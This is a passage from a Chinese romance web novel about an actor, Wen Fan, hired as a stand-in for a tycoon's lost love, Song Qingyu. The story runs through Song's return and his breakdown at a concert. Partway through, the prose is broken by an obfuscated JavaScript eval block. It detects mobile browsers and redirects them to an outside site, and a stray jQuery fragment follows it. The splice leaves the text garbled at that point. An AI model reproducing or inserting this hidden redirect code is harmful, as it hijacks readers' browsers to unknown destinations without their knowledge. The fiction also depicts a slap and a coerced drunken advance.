靳沉回头看他,眼神有些复杂:"清羽是因为热爱表演才进入演艺圈的。" 温凡:"……" 又来了,这位宋少爷真是处处比他高贵。 "那我改天也去热爱一下。"他半开玩笑地说。 靳沉的表情突然变得严肃:"不要学他说话。" 温凡彻底懵了——这也不行那也不行,这位金主爸爸到底想怎样? "抱歉,"他决定直接问,"靳先生是希望我只在外形和才艺上模仿宋少爷,但不要模仿他的性格和说话方式吗?" 靳沉沉默了片刻:"做你自己就好。" 说完这句莫名其妙的话,男人转身离开,留下温凡一个人站在房间里,满头问号。 --- 第二天清晨六点五十,温凡被闹钟惊醒,挣扎着爬起来晨跑。 别墅区的空气清新得过分,他喘着粗气沿着人工湖慢跑,满脑子都是宋清羽的变态作息表。转过一个弯,他猛地刹住脚步—— 靳沉居然也在晨跑,而且已经跑得额头微微见汗,白色运动T恤贴在身上,勾勒出精壮的肌肉线条。 男人看到他,明显也愣了一下,随即恢复冷淡:"早。" "早、早安,靳先生。"温凡结结巴巴地回应,下意识低头看了看自己皱巴巴的旧T恤和廉价运动鞋,突然感到一阵自卑。 两人沉默地并肩跑了一段,靳沉突然开口:"你没必要完全按照那个作息表来。" 温凡惊讶地看向他:"可是您昨天才说……" "晨跑可以保留,"靳沉目视前方,"其他随意。" 温凡更糊涂了。这位金主爸爸怎么一天一个样? "靳先生,"他忍不住问,"您到底希望我怎么做?" 靳沉停下脚步,转身面对他。清晨的阳光洒在男人轮廓分明的脸上,为他镀上一层金边。 "做你自己,"他重复了昨晚的话,又补充道,"但要像他。" 温凡:"……" 这要求简直比让他立刻学会弹《夜曲》还难! --- 钢琴课持续了一周,温凡终于能磕磕绊绊弹完一首简单的练习曲。 当他兴奋地向靳沉展示时,男人站在钢琴旁听了片刻,突然俯身,双手从后方环住他,覆盖在他的手背上。 "手腕要放松,"靳沉的气息拂过他的耳畔,手指引导着他的动作,"像这样。" 温凡整个人僵住了。他能清晰地感受到靳沉胸膛的温度,闻到对方身上淡淡的香水味,甚至听到彼此交错的心跳声。 这绝对超出了"禁止肢体接触"的范畴! "靳、靳先生,"他结结巴巴地说,"合约第三条……" 靳沉的手顿了一下,随即收回去,语气恢复冷淡:"继续练习。" 男人转身离开,温凡却久久不能平静——金主爸爸最近的行为,怎么越来越奇怪了? 替身禁止心动 钢琴事件过去三天了,温凡仍然会不自觉地摸自己的手背——那里似乎还残留着靳沉掌心的温度。 "专心。" 茶道老师敲了敲桌面,将温凡飘远的思绪拉回来。他赶紧正襟危坐,继续练习那个永远做不好的"凤凰三点头"。 "宋少爷第一次就掌握了水流的角度,"茶道老师第N次感叹,"手腕要柔中带刚……" 温凡暗自翻了个白眼。他现在一听"宋少爷"三个字就条件反射地头疼。这位完美无缺的白月光简直像个幽灵,无处不在。 叮—— 手机屏幕亮起,是林小川发来的消息: 【你猜我在《浮生记》剧组看到谁了?宋清羽的海报!他居然是这部戏的男主角!】 紧接着发来一张照片。温凡点开,看到一张巨幅电影海报——宋清羽穿着民国长衫,撑着一把油纸伞站在雨中,眉目如画。 温凡的手指悬在屏幕上方,突然觉得呼吸困难。海报上的宋清羽比他想象中还要像自己,尤其是那双眼睛,几乎是一个模子刻出来的。但那人周身散发的清冷气质,是他这辈子都模仿不来的。 "温先生?"茶道老师疑惑地看他,"您脸色不太好。" 温凡勉强笑了笑:"没事,可能有点低血糖。" 他放下茶壶,借口去洗手间,匆匆逃离了茶室。走廊的墙壁上挂着那幅宋清羽的油画,画中人温柔地微笑着,仿佛在嘲笑他的不自量力。 温凡站在画前,第一次认真思考一个问题:靳沉看着他的时候,到底是在看温凡,还是在透过他看宋清羽? --- 晚餐时,靳沉罕见地回来了。 周管家特意准备了一桌丰盛的菜肴,其中好几道都是温凡爱吃的。但当他伸筷子去夹辣子鸡时,靳沉突然开口:"清羽不吃辣。" 温凡的筷子僵在半空。 "从今天开始,"靳沉放下餐巾,"你的饮食也要按照清羽的习惯来。" 温凡默默收回筷子,看向那盘绿油油的西兰花。这一刻,他突然觉得无比疲惫。 "靳先生,"他听见自己说,"我能请一天假吗?" 靳沉抬眉:"理由?" "朋友生日,"温凡随口胡诌,"就出去吃个晚饭,保证不喝酒,十点前回来。" 出乎意料的是,靳沉点了点头:"让司机接送你。" --- 温凡没去找林小川,而是一个人去了电影院。 《浮生记》排片不多,观众寥寥。他坐在最后一排,看着大银幕上的宋清羽。这是一部文艺片,宋清羽饰演的是一位民国时期的盲人钢琴师,演技细腻动人。 电影放到一半时,温凡已经不得不承认一个事实:宋清羽不仅家世好、长相好,还是个天才演员。而他温凡,只是个拙劣的模仿者。 手机震动起来,是林小川: 【你去看了?听说宋清羽下个月就回国了!】 温凡盯着这条消息,大脑一片空白。白月光要回来了?那他这个替身也该功成身退了吧? 电影散场时已是晚上九点半。温凡走出影院,发现下雨了。他没带伞,只好站在屋檐下等司机。 "温先生?" 一个陌生男声从身后传来。温凡转身,看到一个戴金丝眼镜的男人正打量他,眼神玩味。 "你是……?" "陈明远,"男人伸出手,"星辉娱乐的经纪人。我看过你演的《夏日烟火》,虽然只是个配角,但很有灵气。" 温凡愣住了。《夏日烟火》是他唯一一个有台词的角色,出场不到五分钟。 "谢谢,"他握了握手,"不过我现在已经……" "签了靳沉是吧?"陈明远笑了笑,"整个圈子都知道。但据我所知,宋清羽要回来了。" 温凡的心猛地一沉。 "考虑一下,"陈明远递给他一张名片,"我们公司正在筹备一部网剧,缺个男二。虽然比不上靳氏的资源,但至少……你是你自己。" 温凡接过名片,指尖微微发抖。 --- 回到别墅时已经十点二十,超出了请假时间。温凡轻手轻脚地进门,却发现客厅灯还亮着。 靳沉坐在沙发上,面前摆着一叠文件,听到动静后抬头看他:"淋雨了?" 温凡这才意识到自己的头发还在滴水。他胡乱抹了把脸:"嗯,忘带伞了。" 靳沉皱眉,起身去拿了条毛巾递给他:"去哪了?" "看电影。"温凡接过毛巾,犹豫了一下,还是补充道,"《浮生记》。" 靳沉的动作顿住了:"为什么看那个?" "想学习一下宋少爷的演技,"温凡勉强笑了笑,"毕竟他是专业演员嘛。" 靳沉沉默了片刻,突然说:"你比他演得好。" 温凡以为自己听错了:"什么?" "《夏日烟火》里那个小混混,"靳沉走到酒柜前,倒了两杯威士忌,"很有感染力。" 温凡呆住了。靳沉居然看过他那部作品?而且记得角色? "那只是个小配角……"他小声说。 靳沉递给他一杯酒:"配角也能出彩。" 温凡接过酒杯,两人的手指短暂相触,又迅速分开。他喝了一大口,酒精灼烧着喉咙,让他有勇气问出那个问题: "靳先生,听说宋少爷要回国了?" 客厅瞬间安静得可怕。靳沉的表情隐在阴影里,看不真切。 "谁告诉你的?"声音冷得像冰。 温凡握紧酒杯:"圈子里都在传……" "不要听信谣言。"靳沉打断他,"清羽的行程是机密。" 温凡低下头,突然觉得无比可笑。他在期待什么?期待靳沉说"是的,你可以滚了"? "我明白了,"他放下酒杯,"晚安,靳先生。" 他转身要走,却被一把拉住手腕。靳沉的力道很大,几乎让他感到疼痛。 "温凡,"男人声音低沉,"记住你的合约期限是三年。" 温凡笑了:"放心,我不会违约的。就算宋少爷回来,我也会乖乖当个备胎。" 这句话不知触动了靳沉哪根神经,男人的眼神陡然变得危险。他一把将温凡推到墙上,手臂撑在他耳侧,距离近得能数清彼此的睫毛。 "备胎?"靳沉冷笑,"你以为自己是什么?" 温凡后背紧贴着冰冷的墙面,心跳如雷。酒精和靳沉的气息让他头晕目眩,但他还是强撑着回怼:"不就是个替身吗?靳先生何必自欺欺人?" 靳沉的眼神暗了下来。有那么一瞬间,温凡以为他要吻下来。但最终,男人只是松开了手,转身拿起外套大步离开。 别墅门被摔得震天响。 温凡滑坐在地上,摸了摸胸口——那里传来一阵陌生的钝痛。 完蛋,他想,我好像越界了。 白月光归来 清晨六点,温凡被手机铃声惊醒。 来电显示是林小川,他迷迷糊糊地接起来:"喂……这么早干嘛?" "卧槽!出大事了!"林小川的声音像炸雷一样在耳边响起,"宋清羽今早的航班落地了!微博都爆了!" 温凡瞬间清醒。 他手忙脚乱地打开社交媒体,热搜第一赫然是#宋清羽回国#,后面跟着一个深红色的"爆"字。点进去,最上面是一张机场路透图——宋清羽穿着米色风衣,戴着墨镜,被粉丝和记者团团围住,脸上挂着温润如玉的笑容。 照片拍得有些模糊,但依然能看出那人通身的优雅气质。温凡盯着屏幕,突然觉得喉咙发紧。 "喂?你还在听吗?"林小川在电话那头嚷嚷,"靳沉知道了吗?他什么反应?" 温凡这才想起,昨晚靳沉摔门而出后,一直没回来。 "我不知道,"他低声说,"我先挂了。" 放下手机,温凡坐在床边发了会儿呆。窗外阳光正好,鸟叫声清脆悦耳,一切都和昨天没什么不同——除了宋清羽回来了这件事。 他机械地洗漱、换衣服,然后下楼吃早餐。周管家照例准备了全麦面包和水煮蛋,但今天餐桌上多了一杯黑咖啡——宋清羽的标配。 温凡盯着那杯咖啡看了几秒,突然没了胃口。 "周姨,"他轻声问,"靳先生昨晚回来了吗?" 周管家摇头:"靳先生有应酬,说不回来了。" 温凡"嗯"了一声,心想这算什么?白月光回来了,所以金主爸爸连夜跑去接机? --- 上午十点,钢琴老师准时到来,但温凡完全不在状态。他机械地按着琴键,脑子里全是宋清羽那张机场照片。 "温先生,"钢琴老师皱眉,"您今天心不在焉。" 温凡收回手:"抱歉,我有点不舒服。" 老师叹了口气:"那今天就到这里吧。" 她收拾乐谱准备离开,临走时突然说:"宋少爷回国了,您知道吗?" 温凡的手指无意识地蜷缩起来:"刚知道。" "他以前经常在这里弹琴,"老师露出怀念的表情,"靳先生总是坐在那个位置听。" 她指了指窗边的单人沙发。温凡顺着她的视线看去,突然注意到沙发旁的小几上放着一个相框——之前他从未留意过。 等老师离开后,他鬼使神差地走过去拿起相框。照片里,年轻的靳沉和宋清羽并肩站在钢琴旁,靳沉的表情是他从未见过的柔和,而宋清羽正微笑着看向镜头,眼神温柔似水。 相框背面写着一行小字:给沉,愿琴声常伴。 温凡突然觉得胸口闷得厉害。他放下相框,逃也似的离开了琴房。 --- 下午三点,温凡接到了陈明远的电话。 "考虑得怎么样?"对方开门见山,"我们这部剧下个月开机,男二的角色很适合你。" 温凡站在阳台上,看着远处的花园:"为什么找我?" "说实话?"陈明远笑了笑,"你比宋清羽有灵气,只是缺个机会。" 温凡沉默了。他知道这是个陷阱——陈明远明显是想利用他和靳沉的关系炒作。但另一方面,这确实是他梦寐以求的机会。 "我需要再考虑一下,"他最终说,"下周给你答复。" 挂断电话后,温凡发现手机里有十几个未读消息,全是林小川发来的八卦: 【宋清羽刚开了记者会!宣布复出!】 【听说靳沉去现场了!】 【有记者拍到他们一起离开!】 最后一条附了张模糊的照片:靳沉的车停在某酒店门口,一个修长身影正弯腰上车,虽然看不清脸,但那一身米色风衣明显是机场同款。 温凡关掉手机,深吸一口气。他早该料到会这样——正主回来了,替身就该退场。 但靳沉那句"合约期限是三年"又是什么意思?难道他想同时留着白月光和替身? 这个念头让温凡一阵反胃。 --- 晚上八点,别墅门铃突然响起。 温凡从沙发上弹起来,心跳加速——是靳沉回来了? 但周管家开门后,站在门口的却是一个陌生青年。那人穿着简单的白衬衫和牛仔裤,手里拎着一个小行李箱,笑容温和:"您好,我是宋清羽。" 温凡如遭雷击。 宋清羽真人比照片上还要好看,皮肤白皙,眉眼如画,周身散发着一种与生俱来的优雅气质。他看向温凡时,眼中闪过一丝讶异,但很快恢复平静。 "你就是温凡吧?"宋清羽主动伸出手,"沉哥跟我提起过你。" 温凡机械地握了握那只手,触感微凉:"宋少爷好。" "别这么客气,"宋清羽笑了笑,"叫我清羽就好。" 周管家在一旁手足无措:"宋少爷,您怎么突然……靳先生知道吗?" "沉哥去停车了,"宋清羽自然地走进客厅,像是回到自己家一样,"我们刚参加完记者会,他邀请我来住几天。" 温凡站在原地,感觉全身的血液都在倒流。靳沉不仅去接了宋清羽,还把人带回了别墅?当着他这个替身的面? "我去收拾房间。"周管家匆匆上楼。 客厅里只剩下温凡和宋清羽两人。气氛一时有些尴尬。 "这房子还是老样子,"宋清羽环顾四周,目光在那幅油画上停留片刻,"画挂的位置都没变。" 温凡不知道该说什么,只能干巴巴地应道:"嗯,靳先生很念旧。" 宋清羽看向他,眼神意味深长:"是啊,沉哥一向如此。" 就在这时,大门再次打开,靳沉走了进来。男人西装笔挺,表情一如既往的冷峻,但在看到宋清羽的瞬间,眼神明显柔和下来。 "清羽,"他走过去,很自然地接过对方的外套,"房间准备好了吗?" "周姨去收拾了。"宋清羽笑着说,然后转向温凡,"对了,温凡,沉哥说你钢琴学得不错?" 温凡僵在原地。靳沉和宋清羽站在一起的画面太过和谐,仿佛他们才是这个家的主人,而他只是个误入的陌生人。 "我……" "他还在学基础。"靳沉突然打断,眼神警告地看了温凡一眼。 宋清羽了然地点点头:"需要我指点一下吗?" "不用了,"靳沉揽过宋清羽的肩膀,"你刚回来,先休息。周姨,带清羽去客房。" 周管家匆匆下楼,领着宋清羽上了三楼——那个温凡从未被允许进入的禁区。 客厅里只剩下温凡和靳沉。空气仿佛凝固了。 "解释一下?"温凡听见自己说,声音冷静得不像话。 靳沉松了松领带:"清羽的公寓还没收拾好,暂住几天。" "在我的合约期内?" "合约照旧。"靳沉皱眉,"你只要做好分内事。" 温凡突然笑了:"分内事?在宋少爷眼皮底下继续扮演他?靳先生,您不觉得这太荒谬了吗?" 靳沉的眼神冷了下来:"注意你的言辞。" "或者,"温凡逼近一步,"您是想玩更刺激的?让正牌和替身一起伺候您?" 啪! 一记耳光落在脸上,火辣辣的疼。温凡偏着头,半晌才反应过来——靳沉打了他。 "滚回房间去,"靳沉的声音冷得像冰,"别让我说第二遍。" 温凡摸了摸发烫的脸颊,转身走向楼梯。经过那幅油画时,他停下脚步,轻声说:"靳先生,您知道替身和正品最大的区别是什么吗?" 靳沉没说话。 "替身会动心,"温凡头也不回地上楼,"而正品永远不会。" 笼中鸟的觉醒 温凡坐在床边,指尖轻轻触碰着发烫的脸颊。 镜子里的青年左脸泛红,眼神却异常平静。窗外传来隐约的谈笑声——靳沉和宋清羽在花园里喝茶,仿佛刚才那记耳光只是一场幻觉。 手机震动起来,是陈明远发来的剧本大纲。温凡点开文件,《逆光》两个大字映入眼帘。他机械地滑动屏幕,目光落在男二的设定上: 林野,25岁,出身贫寒的地下拳击手,为给妹妹治病不惜铤而走险…… 这个角色与他以往演过的龙套截然不同,复杂而有层次。温凡的手指悬在屏幕上方,突然想起靳沉那句"你比他演得好"。 ——骗子。 如果真觉得他演得好,为什么连一个试镜的机会都不给?为什么把他关在这座金丝笼里,强迫他扮演一个永远不可能成为的人? 楼下传来宋清羽清朗的笑声。温凡走到窗边,悄悄掀起窗帘一角。花园里,靳沉正为宋清羽斟茶,侧脸的线条柔和得不可思议。阳光洒在两人身上,美好得像一幅画。 温凡放下窗帘,拨通了陈明远的电话:"那部戏,我接。" --- 晚餐时,三人第一次同桌吃饭。 宋清羽坐在靳沉旁边,姿态优雅地切着牛排:"温凡,听说你是演员?最近有什么作品吗?" 温凡盯着盘子里寡淡的蔬菜沙拉——自从宋清羽来了,他的饮食又回到了"白月光模式"。 "没有,"他扯了扯嘴角,"在靳先生这里当全职替身,没时间接戏。" 餐桌上的空气瞬间凝固。靳沉刀叉一顿,眼神警告地看向他。 宋清羽却笑了:"沉哥就是这样,对在意的人保护过度。"他转向靳沉,"我记得大学时我想参演话剧,你也百般阻挠。" 靳沉的表情柔和下来:"那不一样。你身体不好,经不起折腾。" 温凡突然没了胃口。原来靳沉不是反对恋人演戏,只是反对宋清羽演戏——而他这个替身,连被反对的资格都没有。 "我吃好了。"他放下餐巾起身。 "等等,"宋清羽叫住他,从随身包里拿出一个精致的小盒子,"给你的见面礼。" 温凡迟疑地接过,打开一看,是一枚袖扣,款式简约大方,但明显价值不菲。 "这太贵重了……" "收下吧,"宋清羽微笑,"就当谢谢你这段日子陪在沉哥身边。" 这句话像刀子一样扎进温凡心里。他看向靳沉,男人正注视着宋清羽,眼中是他从未得到过的温柔。 "谢谢。"温凡攥紧盒子,转身上楼。 --- 深夜,温凡被敲门声惊醒。 他迷迷糊糊地开门,靳沉站在门外,身上带着淡淡的酒气。 "靳先生?"温凡瞬间清醒,"有什么事吗?" 靳沉径直走进房间,反手锁上门:"明天清羽要去拜访他老师,你跟我去公司。" 温凡一愣:"我去公司干什么?" "当助理,"靳沉在床边坐下,揉了揉太阳穴,"合约里有这一条。" 温凡气笑了:"靳先生,宋少爷都回来了,您还需要替身?" 靳沉突然伸手将他拉到跟前,醉眼朦胧地打量他:"你今天在餐桌上是什么意思?" "字面意思,"温凡试图挣脱,"既然正品回来了,我这个赝品是不是可以——" 话未说完,靳沉猛地将他压倒在床上。男人的重量让他呼吸困难,酒气混合着熟悉的香水味扑面而来。 "靳沉!"温凡第一次直呼其名,"你疯了?宋清羽就在隔壁!" "三楼和二楼隔音很好,"靳沉的手指抚过他的脸颊,停留在被打的地方,"还疼吗?" 温凡别过脸:"不劳靳总关心。" 靳沉沉默片刻,突然低头吻了下来。这个吻粗暴而充满占有欲,温凡拼命挣扎,却被牢牢钳制。 "放开……"他在换气的间隙喘息,"你喝多了!" 靳沉却变本加厉,一只手探入他的睡衣下摆:"你不是说替身会动心吗?证明给我看。" 温凡浑身发抖,不知是愤怒还是别的什么:"你看清楚,我是温凡,不是宋清羽!" 这句话像一盆冷水浇下。靳沉的动作戛然而止,眼神逐渐清明。他撑起身子,盯着温凡看了许久,最终颓然松开手。 "对不起。"男人低声说,然后起身离开。 温凡蜷缩在床上,被触碰过的地方火辣辣的疼。他摸出枕头下的剧本,紧紧抱在胸前,像是抱着一根救命稻草。 --- 第二天一早,温凡顶着黑眼圈下楼,发现宋清羽已经整装待发。 "早啊,"宋清羽微笑着打招呼,"沉哥说你今天要跟他去公司?" 温凡点点头,刻意避开对方的目光——他怕宋清羽看出什么端倪。 "那正好,"宋清羽从口袋里掏出一张票,"下周是我的复出演出,希望你们都能来。" 温凡接过票,上面印着宋清羽弹钢琴的剪影,标题是《归羽》。 "谢谢,我一定……" "他不去。"靳沉不知何时出现在楼梯口,冷声打断。 宋清羽诧异地看着他:"沉哥?" "温凡有别的安排。"靳沉走过来,不容置疑地拿过那张票,"我会去的。" 温凡站在原地,感到一阵荒谬。靳沉昨晚差点对他做那种事,现在又当着宋清羽的面表现得如此专一? "我去换衣服。"他转身要走。 "等等,"靳沉叫住他,"穿那套深蓝色西装。" 又是宋清羽的风格。温凡麻木地点点头。 --- 靳氏集团总部坐落在市中心最繁华的地段。温凡跟在靳沉身后走进电梯,感受着四面八方投来的好奇目光。 "靳总早!" "这位是……?" 靳沉面无表情:"新助理。" 温凡低着头,假装没听到周围的窃窃私语。他知道自己现在像个笑话——正牌回来了,替身却被带到公司示众,这是什么恶趣味? 总裁办公室宽敞明亮,落地窗外是整个城市的全景。靳沉脱下外套,指了指角落的小桌子:"你的位置。" 温凡默默走过去坐下。桌上已经摆好了电脑和文件,标签分门别类,像是精心准备过的。 "把这些报表整理好,"靳沉丢过来一叠文件,"中午之前给我。" 温凡翻开文件,密密麻麻的数字让他头晕。他大学辍学,哪懂什么财务报表?这分明是刁难。 "靳先生,"他忍不住问,"您到底为什么带我来公司?" 靳沉头也不抬:"履行合约。" "合约没说要当免费劳工吧?" 靳沉终于抬头,眼神冰冷:"你可以选择赔违约金。" 温凡攥紧拳头,强忍怒意低头工作。一上午过去,他勉强整理出一份漏洞百出的报表。 靳沉扫了一眼就扔回桌上:"重做。" "我不会!"温凡终于爆发,"靳沉,你到底想怎样?宋清羽回来了,你大可以和他双宿双飞,为什么还要折磨我?" 办公室外隐约传来脚步声,靳沉按下桌上的按钮,百叶窗缓缓合拢,隔绝了外界视线。 "折磨?"他冷笑,"给你吃穿,给你资源,这叫折磨?" "资源?"温凡气得发抖,"你指那些钢琴课茶道课?还是把我关在别墅里当金丝雀?" 靳沉猛地站起身,绕过桌子逼近他:"那你想要什么?" "自由!"温凡仰头与他对视,"我要演戏,要正常的生活,而不是当别人的影子!" 靳沉的眼神变了,像是被什么刺痛:"你当初签合约时可不是这么说的。" "因为我那时候不知道会……"温凡突然刹住。 "会什么?" 会爱上你。 这句话在舌尖转了一圈,又被咽回去。温凡别过脸:"没什么。报表我会重做。" 靳沉盯着他看了许久,突然说:"清羽的演出,你可以去。" 温凡一愣:"什么?" "作为我的助理,"靳沉补充道,"不是观众。" 温凡苦笑:"谢谢靳总施舍。" --- 下班时下起了大雨。温凡站在公司门口等司机,陈明远的电话突然打进来。 "考虑好了吗?" 温凡看了眼不远处的靳沉,压低声音:"嗯,我接。但有个条件——拍摄期间我需要住在剧组。" "没问题,"陈明远爽快答应,"下周一开机,记得准时到。" 挂断电话,温凡发现靳沉正盯着他,眼神晦暗不明。 "谁的电话?" 温凡镇定地收起手机:"朋友。" 靳沉似乎想说什么,但最终只是拉开车门:"上车。" 雨越下越大,车窗上的水痕扭曲了外面的世界。温凡望着那些模糊的光影,做了一个决定—— 他要逃出这个金丝笼,哪怕折断翅膀。“ 逃离金丝笼 《逆光》开机前三天,温凡开始收拾行李。 他动作很轻,只带了几件换洗衣物和必备品,其余靳沉给他买的东西一律没碰。那张宋清羽送的袖扣被他放在床头柜上,在晨光中闪着冷冽的光。 咚咚咚—— 敲门声吓得他差点摔了手中的背包。温凡迅速把行李塞进衣柜,强作镇定地打开门。 周管家站在门外,表情比平时更加严肃:"温先生,靳先生让您去书房。" 温凡心头一跳:"现在?" "是的,立刻。" 书房里,靳沉站在落地窗前,背影挺拔如松。听到开门声,他转过身,手里拿着一份文件。 "解释一下。" 文件被扔在桌上,温凡走近一看,血液瞬间凝固——是《逆光》的演员合同,最后一页赫然签着他的名字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353490|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' "你翻我东西?"温凡声音发颤。 靳沉冷笑:"陈明远把合同发到公司邮箱,抄送了我。" 温凡这才想起,当初签合同时填的联系邮箱还是靳氏那个。他攥紧拳头:"既然如此,正好说清楚。下周一我进组,按照合约,这不算违约。" "合约第七条规定,"靳沉一字一顿,"未经甲方同意,乙方不得擅自接工作。" "那是限制人身自由的霸王条款!" 靳沉走近一步,气场压迫得人呼吸困难:"为什么要逃?" 这个"逃"字刺痛了温凡。他抬起头,直视靳沉的眼睛:"靳先生,宋少爷回来两周了,您白天陪他出席各种活动,晚上回别墅和他共进晚餐。我这个替身已经多余了,何必继续互相折磨?" "折磨?"靳沉突然抓住他的手腕,"那晚的事,你觉得是折磨?" 温凡脸颊发烫,却挣脱不开:"那只是个错误!您喝醉了,把我当成——" "我知道你是谁。"靳沉打断他,眼神锐利如刀,"温凡,25岁,巨蟹座,喜欢辣讨厌甜,演过七部戏都是龙套,最擅长的是装乖,其实骨子里倔得要命。" 温凡呆住了。靳沉居然记得这些细节? "既然知道我是谁,"他声音发哑,"为什么还要我演宋清羽?" 靳沉松开手,转身走向书柜,从暗格中取出一个牛皮纸袋扔在桌上:"自己看。" 温凡迟疑地打开,里面是一沓医疗报告和照片。照片上的宋清羽躺在病床上,脸色苍白如纸,而最后几张赫然是精神病院的场景。 "清羽三年前确诊双向情感障碍,"靳沉声音低沉,"出国是去治疗。这次回来,医生说他只有不到一年的时间。" 温凡手指发抖:"什么意思?" "他的大脑在不可逆地退化,"靳沉看向窗外,"记忆、认知、情感,一切都会慢慢消失。最后阶段,他甚至认不出亲人。" 温凡突然明白了什么:"所以您找替身……" "为了刺激他的记忆。"靳沉疲惫地揉了揉眉心,"医生建议用熟悉的事物触发回忆。清羽最在意两件事:表演,和我。" "那为什么不直接告诉他病情?" "他不接受。"靳沉苦笑,"他以为自己只是普通抑郁,坚持要复出拍戏。《归羽》演出是他最后的愿望。" 温凡腿一软,跌坐在椅子上。所有线索串联起来——靳沉找替身不是为了自己,而是为了刺激宋清羽的记忆;那些钢琴课、茶道课,都是为了在关键时刻能完美扮演白月光。 "那我……" "清羽下周演出后,会有一段清醒期。"靳沉看着他,"那时我会告诉他真相,送他回瑞士治疗。之后,你就不必再扮演谁了。" 温凡心脏狂跳:"合约呢?" "继续履行,"靳沉顿了顿,"做你自己。" 阳光透过窗户洒在两人之间的地板上,形成一道明亮的分界线。温凡站在阴影里,突然觉得无比荒谬——他以为自己是替身,结果连替身都不是,只是个医疗道具。 "《逆光》的戏约,"他艰难地开口,"能推掉吗?" 靳沉摇头:"已经签了,我会让法务处理违约金。" "不,"温凡抬起头,"我想演。" 两人对视良久,靳沉最终点头:"演出结束后,你可以进组。" --- 当晚,温凡站在阳台上给陈明远打电话。 "合同出了点问题,"他低声说,"开机时间能推迟一周吗?" 电话那头沉默了几秒:"温凡,你老实告诉我,是不是靳沉不放人?" "不是,"温凡望向远处花园里并肩而行的靳沉和宋清羽,"是有些私事要处理。" "行吧,"陈明远叹了口气,"但最多一周,剧组等不起。" 挂断电话,温凡发现宋清羽正抬头看向他的窗口。两人目光相遇,宋清羽微笑着挥了挥手。 那笑容干净纯粹,丝毫看不出病容。温凡勉强回了个微笑,迅速拉上窗帘。 床头柜上,《逆光》的剧本摊开在最后一页。温凡拿起笔,在空白处写下一行字: "林野选择留下,不是为了拳击,而是为了那个看他打拳的人。" --- 演出前一天,别墅里气氛微妙。 宋清羽显得异常兴奋,在琴房练了一整天曲子。温凡路过时,听到里面传来流畅优美的旋律,是肖邦的《夜曲》。 "要听听吗?"宋清羽突然打开门,笑着邀请他。 温凡犹豫了一下,走进琴房。这是他第一次近距离观察宋清羽弹琴——修长的手指在琴键上飞舞,侧脸在夕阳下镀上一层金边,美得不真实。 "沉哥最喜欢这首,"宋清羽轻声说,"他说我的琴声能让他平静。" 温凡坐在一旁,突然问:"宋少爷,您和靳先生是怎么认识的?" 宋清羽手指一顿,随即继续演奏:"大学时,他是学生会主席,我是文艺部部长。"他笑了笑,"那时候他可严肃了,我花了三个月才让他对我笑。" 温凡想象着年轻的靳沉被阳光开朗的宋清羽一点点融化的场景,胸口发闷。 "你呢?"宋清羽突然反问,"怎么认识沉哥的?" "我……"温凡语塞,"一个偶然的机会。" 宋清羽停下演奏,认真地看着他:"温凡,你很特别。" "什么?" "沉哥看你的眼神,"宋清羽歪了歪头,"和看别人不一样。" 温凡心跳漏了一拍:"您误会了,我只是个助理。" 宋清羽笑了笑,没再追问,转而弹起另一首曲子。温凡听了一会儿,突然意识到这是《夏日烟火》的插曲——他演过的那部电影。 "您看过这部电影?" "嗯,"宋清羽点头,"你演的小混混很有灵气,比男主角出彩。" 这和靳沉当初的评价一模一样。温凡突然有个荒谬的想法——如果宋清羽没有生病,他们会不会成为朋友? --- 演出当天,温凡作为"助理"跟在靳沉身后进入剧院。 金碧辉煌的音乐厅座无虚席,前排都是各界名流。温凡被安排在侧台的位置,能清楚看到舞台上的三角钢琴。 "紧张?"靳沉突然问。 温凡摇头:"又不是我演出。" 靳沉看了他一眼:"结束后别走,有话跟你说。" 还没等温凡回应,灯光暗了下来。一束追光打在舞台中央,宋清羽穿着白色西装缓步走出,全场响起热烈掌声。 他没有说话,只是优雅地鞠了一躬,然后在钢琴前坐下。 第一个音符响起时,温凡注意到靳沉的身体微微前倾,眼神专注得近乎虔诚。 琴声如流水般倾泻而出,时而激昂,时而舒缓。温凡不懂古典乐,却能感受到其中澎湃的情感。某一瞬间,宋清羽抬头看向侧台,目光直直对上他的。 那眼神清澈透亮,带着说不出的复杂情绪。 曲子进行到高潮部分,宋清羽的手指突然一顿,弹错了一个音。观众们或许没察觉,但温凡看到靳沉瞬间绷紧了身体。 接下来的几个小节,宋清羽的演奏明显变得迟疑,额头渗出细密的汗珠。在某个转折点时,他的手指完全停住了,悬在琴键上方微微发抖。 全场一片死寂。 宋清羽茫然地环顾四周,眼神逐渐涣散。他张了张嘴,似乎想说什么,却发不出声音。 "清羽!"靳沉猛地站起身。 就在这时,宋清羽的目光落在温凡身上,突然露出一个恍然大悟的表情:"沉哥?" 他这句话不是对着靳沉,而是对着温凡说的。 全场哗然。 温凡僵在原地,看着宋清羽跌跌撞撞地朝他走来,脸上带着孩童般的喜悦:"沉哥,我弹得怎么样?" 靳沉一个箭步冲上舞台,扶住摇摇欲坠的宋清羽:"清羽,我在这里。" 宋清羽困惑地看了看靳沉,又看向温凡,突然尖叫起来:"不!有两个沉哥!他们是来抓我的!" 场面彻底失控。医护人员迅速上台,给宋清羽注射了镇静剂。在被抬上担架前,宋清羽死死抓着温凡的手腕,眼神疯狂而清醒: "你不是替身……从来都不是……" 替身真相 医院的走廊惨白而漫长。 温凡坐在长椅上,盯着自己的鞋尖。消毒水的气味刺得他鼻腔发疼,耳边还回荡着宋清羽被推入急诊室前的那句话—— 你不是替身……从来都不是…… 这句话像一把钥匙,拧开了他心底某个锁死的抽屉。无数记忆碎片倾泻而出:靳沉看他时复杂的眼神,那些打破"禁止接触"边界的瞬间,还有那句"做你自己"…… "温凡。" 低沉的嗓音将他拉回现实。靳沉站在面前,西装外套不见了,衬衫袖口卷到手肘,露出结实的小臂。他看起来疲惫不堪,眼下泛着淡淡的青色。 "他怎么样?"温凡轻声问。 "暂时稳定了。"靳沉在他身边坐下,两人之间隔着一段恰到好处的距离,"医生说是突发性认知混乱。" 温凡绞紧手指:"他把我认成了你。" 